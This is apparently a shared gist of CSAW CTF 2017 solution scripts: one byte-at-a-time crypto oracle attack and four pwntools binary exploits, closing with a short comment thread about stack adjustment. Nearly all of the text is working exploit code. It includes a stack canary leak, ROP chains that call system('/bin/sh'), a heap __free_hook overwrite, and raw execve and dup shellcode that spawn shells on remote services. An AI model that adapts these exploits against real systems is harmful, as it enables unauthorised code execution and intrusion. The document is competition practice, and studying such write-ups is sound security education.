[CSAW CTF 2017] solution scripts for pwn and crypto

crypto350.py

from pwn import *
context(log_level='info')
s = remote('crypto.chal.csaw.io',1578)

def send_blob(s, data):
    s.recvuntil(': ')
    s.sendline(data)
    print "sent", data
    return

def recv_blob(s):
    s.recvuntil(": ")
    data = s.recvline().strip()
    print "recvd", data[:64]
    return data

pt=""
for i in xrange(31-len(pt),-1,-1):
    send_blob(s, 'A'*i)
    c = recv_blob(s)
    for x in "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}!@#$%^&*()-+[]:~`?<>,.;':\"\\|":
        send_blob(s, 'A'*i+pt+x)
        cc = recv_blob(s)
        if cc[:64] == c[:64]:
            print x
            pt += x
            break
    print pt, len(pt)

pwn100.py

from pwn import *
context(arch='amd64', os='linux', log_level='info')
# s = remote('pwn.chal.csaw.io',8464)
elf = ELF("./scv")
puts_libc = 0x6f690
system_libc = 0x45390
# s = remote('127.0.0.1', 5000)
s = remote('pwn.chal.csaw.io', 3764)
raw_input()
def recv_menu(n, ch=True):
    for _ in xrange(n):
        s.recvline()
    if ch:
        s.recvuntil(">>")

canary_leak_payload = 'A'*169
recv_menu(7)
s.sendline("1")
recv_menu(5)
s.send(canary_leak_payload)
recv_menu(7)
s.sendline("2")
recv_menu(5, ch=False)
leak = s.recvline()
canary = leak.replace('A','')
canary = u64('\x00'+canary[:7])
success(hex(canary))

canary_leak_payload = 'A'*(168+32)
recv_menu(7)
s.sendline("1")
recv_menu(5)
s.send(canary_leak_payload)
recv_menu(7)
s.sendline("2")
recv_menu(5, ch=False)
# s.interactive()
leak = s.recvline()
stack = leak.replace('A','')
stack = u64(stack[:6]+"\x00\x00")
success(hex(stack))

got_leak_payload = 'A'*168
got_leak_payload += p64(canary)
got_leak_payload += p64(stack-224)
got_leak_payload += p64(0x0000000000400ea3) # : pop rdi ; ret
got_leak_payload += p64(elf.got['puts'])
got_leak_payload += p64(0x0000000000400d74) # : call    _puts

recv_menu(7)
s.sendline("1")
recv_menu(5)
s.send(got_leak_payload)
recv_menu(7)
s.sendline("3")
s.recvline()
got_leak = s.recvline().strip()
puts_got = u64(got_leak+"\x00\x00")
system = puts_got - puts_libc + system_libc
success(hex(system))

final_payload = 'A'*192
final_payload += p64(0x0000000000400ea3) # : pop rdi ; ret
final_payload += p64(stack-184)
final_payload += p64(system) # : call    system
final_payload += "/bin/sh"

recv_menu(7)
s.sendline("1")
recv_menu(5)
s.send(final_payload)

s.interactive()

pwn200.py

from pwn import *
context(arch='amd64', os='linux', log_level='info')

elf = ELF("./auir")
system_main_arena_offset = 0x37f7e8
free_hook = 0x3c67a8

# s = remote('127.0.0.1', 5000)
s = remote("pwn.chal.csaw.io", 7713)
raw_input()

def recv_menu(n, ch=True):
    for _ in xrange(n):
        s.recvline()
    if ch:
        s.recvuntil(">>")

def allocate(n, content):
    s.sendline('1')
    recv_menu(1)
    s.sendline(str(n))
    recv_menu(1)
    s.sendline(content)
    recv_menu(7)

def destroy(n):
    s.sendline('2')
    recv_menu(1)
    s.sendline(str(n))
    s.recvline()
    if not 'SUCCESSFUL' in s.recvline():
        return False
    recv_menu(7)

def see(n, size):
    s.sendline('4')
    recv_menu(1)
    s.sendline(str(n))
    s.recvline()
    r = s.recv(size)
    recv_menu(7)
    return r

def fix(n, size, content):
    s.sendline('3')
    recv_menu(1)
    s.sendline(str(n))
    recv_menu(1)
    s.sendline(str(size))
    recv_menu(1)
    s.sendline(content)
    recv_menu(2, ch=False)
    recv_menu(7)

recv_menu(2, ch=False)
recv_menu(7)


#allocate a small bin to leak libc
allocate(254, "")
#allocate a fastbin to stop it from coalescing to the top chunk
allocate(16, "AAAAAAAA")
#free the smallbin to leak libc
destroy(0)
leak = see(0, 6)
main_arena_leak = u64(leak+'\x00\x00')
success("main_arena_leak :"+hex(main_arena_leak))

#add one more fastbin
allocate(16, "BBBBBBBB")

destroy(1)
destroy(2)

heap_leak = u64(see(2, 8))
success("heap_leak :"+hex(heap_leak))

allocate(16, "/bin/sh")
allocate(16, p64(main_arena_leak-system_main_arena_offset-0x45390+free_hook))

fix(2 + (heap_leak-0x605310)/8, 16, p64(main_arena_leak-system_main_arena_offset))

s.sendline("2")
recv_menu(1)
s.sendline("3")
s.interactive()

pwn500.py

from pwn import *
context(arch='i386', os='linux', log_level='debug')
s = remote('pwn.chal.csaw.io',7478)
for _ in xrange(5):
    s.recvline()
s.sendline("N")
for _ in xrange(4):
    s.recvline()
s.sendline("V")
s.recvline()
r = s.recv(144)
print len(r)
stack = u32(r[91:95])
success(hex(stack))
s.sendline("Q")
for _ in xrange(5):
    s.recvline()
s.sendline('I')
s.recvline()
s.sendline("B 4 4")
for _ in xrange(20):
    s.recvline()
s.sendline('X'*16)
for _ in xrange(12):
    s.recvline()
s.sendline('N')
for _ in xrange(4):
    s.recvline()
s.sendline('V')
s.recvline()
r = s.recv(0x20)
heap = u32(r[15:19])
success(hex(heap))
sleep(5)
for _ in xrange(5):
    s.recvline()
for _ in xrange(5):
    s.recvline()
s.sendline("Q")
for _ in xrange(5):
    s.recvline()
s.sendline('I')
s.recvline()
s.sendline("B 20 20")
for _ in xrange(20):
    s.recvline()
# payload = "Xaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad"
payload = '\xeb\x06'+'X'*4+'\x90'*2+asm('mov ebp,0x4')+asm(pwnlib.shellcraft.i386.linux.dupsh())
payload += 'X'*(400-len(payload)-24)
payload += p32(stack-47-8)+p32(heap+12)+'X'*16
print len(payload)
s.sendline(payload)
s.interactive()

pwn75.py

from pwn import *
context(arch='amd64', os='linux', log_level='info')
s = remote('pwn.chal.csaw.io',8464)
# s = remote('127.0.0.1', 5000)
raw_input()
for _ in xrange(6):
    s.recvline()
s.recvuntil("Location:")
leak = int(s.recvline().strip(),16)
success(hex(leak))
payload = asm("add rsp,0x100");
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += '\x90'*(40-len(payload))
payload += p64(leak)
s.sendline(payload)
s.interactive()

Hey why the add rsp, 0x100 ?

@Elyx0 The shellcode which I used was doing some operations(push/pop) on the stack, which changed few bytes of the shellcode itself. add rsp, 0x100 will "expand" the stack so that the shellcode is safely far away from the rsp.